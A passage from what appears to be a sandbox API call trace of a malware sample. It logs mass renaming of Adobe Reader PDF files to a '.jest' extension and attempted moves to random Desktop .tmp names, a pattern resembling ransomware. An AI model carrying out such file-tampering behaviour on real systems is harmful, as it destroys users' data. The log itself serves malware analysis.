ehGdG6B_zS1UvGBpDYxLils03Nqmx4LPo9C8J24yzYmiiSExHeSfvjjD OFpnzlsOHpWFSE8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gd-t0rt_xruxxpxhub7l3cjxevnf ehgdg6b_zs1uvgbpdyxlils03nqmx4lpo9c8j24yzymiisexhesfvjjd ofpnzlsohpwfse8.tmp")) returned 0 [0151.929] GetLastError () returned 0x2 [0151.930] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf.jest")) returned 1 [0151.931] GetLastError () returned 0x0 [0151.931] VarBstrFromR4 (in: fltIn=0x479450cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.62") returned 0x0 [0151.932] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JRMq0y2HZixpA2pBmz3h7go5YpkyB6tKGSYKWdliyBSv_mtEJBsPNFTZURwcg8sBlQSwSkg_vPHrtXuoMA7VEQZ5R0QB_ORCtBqsR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jrmq0y2hzixpa2pbmz3h7go5ypkyb6tkgsykwdliybsv_mtejbspnftzurwcg8sblqswskg_vphrtxuoma7veqz5r0qb_orctbqsr.tmp")) returned 0 [0151.932] GetLastError () returned 0x2 [0151.933] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf.jest")) returned 1 [0151.934] GetLastError () returned 0x0 [0151.934] VarBstrFromR4 (in: fltIn=0x479450cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.62") returned 0x0 [0151.935] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2TOP1SpaYRV7UsK5SM4GH76Y2NMl7Mp27DAXMHB-DZlkHtMQHkQtZo2SKAEkp8DawP87to5QueZ689sEyQvmS0MBMCQdjD4X_zw8d.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2top1spayrv7usk5sm4gh76y2nml7mp27daxmhb-dzlkhtmqhkqtzo2skaekp8dawp87to5quez689seyqvms0mbmcqdjd4x_zw8d.tmp")) returned 0 [0151.935] GetLastError () returned 0x2 [0151.936] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf.jest")) returned 1 [0151.937] GetLastError () returned 0x0 [0151.937] VarBstrFromR4 (in: fltIn=0x479450d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.63") returned 0x0 [0151.939] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rpo5iq9B0zDMA5f6x-Q7mjyPwCyF4nh1rusUKMmYdX5UZQzkv 2uyCEZMQUHC44lRoKI-x8AS0KDL5LqwHDBODy7WttKtpNPTb0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rpo5iq9b0zdma5f6x-q7mjypwcyf4nh1rusukmmydx5uzqzkv 2uycezmquhc44lroki-x8as0kdl5lqwhdbody7wttktpnptb0.tmp")) returned 0 [0151.939] GetLastError () returned 0x2 [0151.941] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf.jest")) returned 1 [0151.942] GetLastError () returned 0x0 [0151.942] VarBstrFromR4 (in: fltIn=0x479450d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.63") returned 0x0 [0151.943] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U-rMxlWeeG4-T0pwRKFCZ O7Slw0dsdJZvwPdkZiZ-434KqyMH9L8Pj71j6uNLqu-hJA BZd qPPfnW4zle jS-m63_Nm7qmiGuFF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u-rmxlweeg4-t0pwrkfcz o7slw0dsdjzvwpdkziz-434kqymh9l8pj71j6unlqu-hja bzd qppfnw4zle js-m63_nm7qmiguff.tmp")) returned 0 [0151.943] GetLastError () returned 0x2 [0151.945] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf.jest")) returned 1 [0151.946] GetLastError () returned 0x0 [0151.946] VarBstrFromR4 (in: fltIn=0x479450d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.63") returned 0x0 [0151.947] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CFV4CgTkFixFEpqZOTfwDox10VfYvuUZTbuHemdHv82h44 YkG86wOIkZt0PJZ zsevPFYOqP4ocIBdchARI9sWUyzqvRA607mX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cfv4cgtkfixfepqzotfwdox10vfyvuuztbuhemdhv82h44 ykg86woikzt0pjz zsevpfyoqp4ocibdchari9swuyzqvra607mx.tmp")) returned 0 [0151.947] GetLastError () returned 0x2 [0151.948] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf.jest")) returned 1 [0151.950] GetLastError () returned 0x0 [0151.950] VarBstrFromR4 (in: fltIn=0x479450d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.63") returned 0x0 [0151.951] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ pc4fvIyhsArutMOQV5pBI2cWhK0ExYE2Rio0qBkq5F706E_TtfKMUR_uGics9iEHVw5wO0sXl1NJ--5PhZlIekIZSmpjeJH45di.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ pc4fviyhsarutmoqv5pbi2cwhk0exye2rio0qbkq5f706e_ttfkmur_ugics9iehvw5wo0sxl1nj--5phzliekizsmpjejh45di.tmp")) returned 0 [0151.951] GetLastError () returned 0x2 [0151.953] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf.jest")) returned 1 [0151.953] GetLastError () returned 0x0 [0151.954] VarBstrFromR4 (in: fltIn=0x479450d3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.65") returned 0x0 [0151.955] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wQAecxXFqkcLcXgEBxDKhctp9Jh6i viVceHSu1KhVP6IoF14tqN6BsJNyU6rKcei5njD8MncgZQq_Sd-_BH3FgJRejPMK1_8-U9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqaecxxfqkclcxgebxdkhctp9jh6i vivcehsu1khvp6iof14tqn6bsjnyu6rkcei5njd8mncgzqq_sd-_bh3fgjrejpmk1_8-u9.tmp")) returned 0 [0151.955] GetLastError () returned 0x2 [0151.956] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf.jest")) returned 1 [0151.957] GetLastError () returned 0x0 [0151.958] VarBstrFromR4 (in: fltIn=0x479450d3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.65") returned 0x0 [0151.959] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pa bK9vKFZk0DfHz21TH8w-aLtskUCBuS7Jd2DIgkHN2w6csVmrZlyUfPpAbGIwo-8tFHInOYzUSy6BeFaDjQWc6k-wCpuRGyFr9o.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pa bk9vkfzk0dfhz21th8w-altskucbus7jd2digkhn2w6csvmrzlyufppabgiwo-8tfhinoyzusy6befadjqwc6k-wcpurgyfr9o.tmp")) returned 0 [0151.959] GetLastError () returned 0x2 [0151.960] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf.jest")) returned 1 [0151.961] GetLastError () returned 0x0 [0151.961] VarBstrFromR4 (in: fltIn=0x479450d3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.65") returned 0x0 [0151.962] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0h7q_9gW3W5BVeQ-VNWaRjIzTvEw-ngxusK ZeEAFnmZvWcr-vdMkLCX2jsGcy0_vm-XfwZ-PK9JsmGNdYsmALQNiu0Q-KQb9oBIC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0h7q_9gw3w5bveq-vnwarjiztvew-ngxusk zeeafnmzvwcr-vdmklcx2jsgcy0_vm-xfwz-pk9jsmgndysmalqniu0q-kqb9obic.tmp")) returned 0 [0151.963] GetLastError () returned 0x2 [0151.964] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf.jest")) returned 1 [0151.965] GetLastError () returned 0x0 [0151.965] VarBstrFromR4 (in: fltIn=0x479450d3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.65") returned 0x0 [0151.966] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xfBGLMD2G8Q5-byitokOAMlDi ODetSzqe7iJO4ldhPzD3PNcIPMKEKtgOvJPRrRtXm6PcToljxbs30B7 EQX5mYx3ER-DV9OCORd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xfbglmd2g8q5-byitokoamldi odetszqe7ijo4ldhpzd3pncipmkektgovjprrrtxm6pctoljxbs30b7 eqx5myx3er-dv9ocord.tmp")) returned 0 [0151.966] GetLastError () returned 0x2 [0151.968] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf.jest")) returned 1 [0151.969] GetLastError () returned 0x0 [0151.969] VarBstrFromR4 (in: fltIn=0x479450d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.66") returned 0x0 [0151.970] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JYLceqOcw3ZoS2iFQoUOqnQXeEnp9I48kgzat_E1hy0LbisH_pFnBqie9Fzj8pt194kbh-iZyD6hfaI4U3DxYlncNYLehFBUddc9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jylceqocw3zos2ifqouoqnqxeenp9i48kgzat_e1hy0lbish_pfnbqie9fzj8pt194kbh-izyd6hfai4u3dxylncnylehfbuddc9.tmp")) returned 0 [0151.970] GetLastError () returned 0x2 [0151.972] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf.jest")) returned 1 [0151.973] GetLastError () returned 0x0 [0151.973] VarBstrFromR4 (in: fltIn=0x479450d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.66") returned 0x0 [0151.974] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4XUPq9SKfXClYx7HNsql4nH9yf8FmdtfoNMAjf1A7OEOogGHXWPUzEfRH2cK97XuduFJwKt iFFwxs5Qg6cqAH5-kv37YPfL_li_P.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4xupq9skfxclyx7hnsql4nh9yf8fmdtfonmajf1a7oeoogghxwpuzefrh2ck97xudufjwkt iffwxs5qg6cqah5-kv37ypfl_li_p.tmp")) returned 0 [0151.974] GetLastError () returned 0x2 [0151.976] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf.jest")) returned 1 [0151.977] GetLastError () returned 0x0 [0151.977] VarBstrFromR4 (in: fltIn=0x479450d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.66") returned 0x0 [0151.978] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ijlHjy2NMM1renICFC0YiKtWCJ-3VCU6oFgP7FnQ5Ky Loc3pc1jnP BpB8jBkmE_M3EdO4 8fbjccfTD3SJjy1_z4pLTtCODp_Rj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ijlhjy2nmm1renicfc0yiktwcj-3vcu6ofgp7fnq5ky loc3pc1jnp bpb8jbkme_m3edo4 8fbjccftd3sjjy1_z4plttcodp_rj.tmp")) returned 0 [0151.978] GetLastError () returned 0x2 [0151.980] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf.jest")) returned 1 [0151.981] GetLastError () returned 0x0 [0151.981] VarBstrFromR4 (in: fltIn=0x479450d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.66") returned 0x0 [0151.982] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gZ U-nbzmzMbYBzOXHSkfGpmtk155Bv2s1orwdGDVHMb59_0VphMmWnYomZDdrTz4zdYoiENkXtFtfkwilb43DWZs3P1eGEdIS8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gz u-nbzmzmbybzoxhskfgpmtk155bv2s1orwdgdvhmb59_0vphmmwnyomzddrtz4zdyoienkxtftfkwilb43dwzs3p1egedis8.tmp")) returned 0 [0151.982] GetLastError () returned 0x2 [0151.984] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf.jest")) returned 1 [0151.985] GetLastError () returned 0x0 [0151.986] VarBstrFromR4 (in: fltIn=0x479450d7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.68") returned 0x0 [0151.987] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u8W4vQpu05fVbPMyUapPWGECL78 rYz-5LispqmOsFVoD3mpjDUWbdW4PDBdJ GVi jTW8CP-b104sIECpbcgX21jN6TB1j_Bsr-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u8w4vqpu05fvbpmyuappwgecl78 ryz-5lispqmosfvod3mpjduwbdw4pdbdj gvi jtw8cp-b104siecpbcgx21jn6tb1j_bsr-.tmp")) returned 0 [0151.987] GetLastError () returned 0x2 [0151.989] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf.jest")) returned 1 [0151.990] GetLastError () returned 0x0 [0151.991] VarBstrFromR4 (in: fltIn=0x479450d7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.68") returned 0x0 [0151.992] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0hEzw_IDkhXb4JFkFKJJU9ojZPyhvOpqoK2plOyeic4FbjlVGIQx21u-H5NjQlQ3ySi6432JG-WTrM0IUiX9fB56_-hUc-W1jcG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0hezw_idkhxb4jfkfkjju9ojzpyhvopqok2ployeic4fbjlvgiqx21u-h5njqlq3ysi6432jg-wtrm0iuix9fb56_-huc-w1jcg.tmp")) returned 0 [0151.992] GetLastError () returned 0x2 [0151.995] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf.jest")) returned 1 [0151.997] GetLastError () returned 0x0 [0151.997] VarBstrFromR4 (in: fltIn=0x479450d7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.68") returned 0x0 [0151.998] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gZtEmoGkPASnX53NoD9TJmsVFzegIc-OI88HPi jCUYeS5j1BeRXVNsI0 giEdUryBwER5HR28BcFuYyG92whHMF6toJ5x6tJPX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gztemogkpasnx53nod9tjmsvfzegic-oi88hpi jcuyes5j1berxvnsi0 giedurybwer5hr28bcfuyyg92whhmf6toj5x6tjpx.tmp")) returned 0 [0151.998] GetLastError () returned 0x2 [0152.000] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf.jest")) returned 1 [0152.003] GetLastError () returned 0x0 [0152.003] VarBstrFromR4 (in: fltIn=0x479450d9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.7") returned 0x0 [0152.004] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uO_T5towBuNKJDZWAxtP1NRlf0Oa46gIvz6G Oo-9zo6Fc-p77lqmAntJMHelyG4L qlKsFN9aCux8Amj0-HV1ZTpFqmD_rOkQfq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uo_t5towbunkjdzwaxtp1nrlf0oa46givz6g oo-9zo6fc-p77lqmantjmhelyg4l qlksfn9acux8amj0-hv1ztpfqmd_rokqfq.tmp")) returned 0 [0152.004] GetLastError () returned 0x2 [0152.005] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 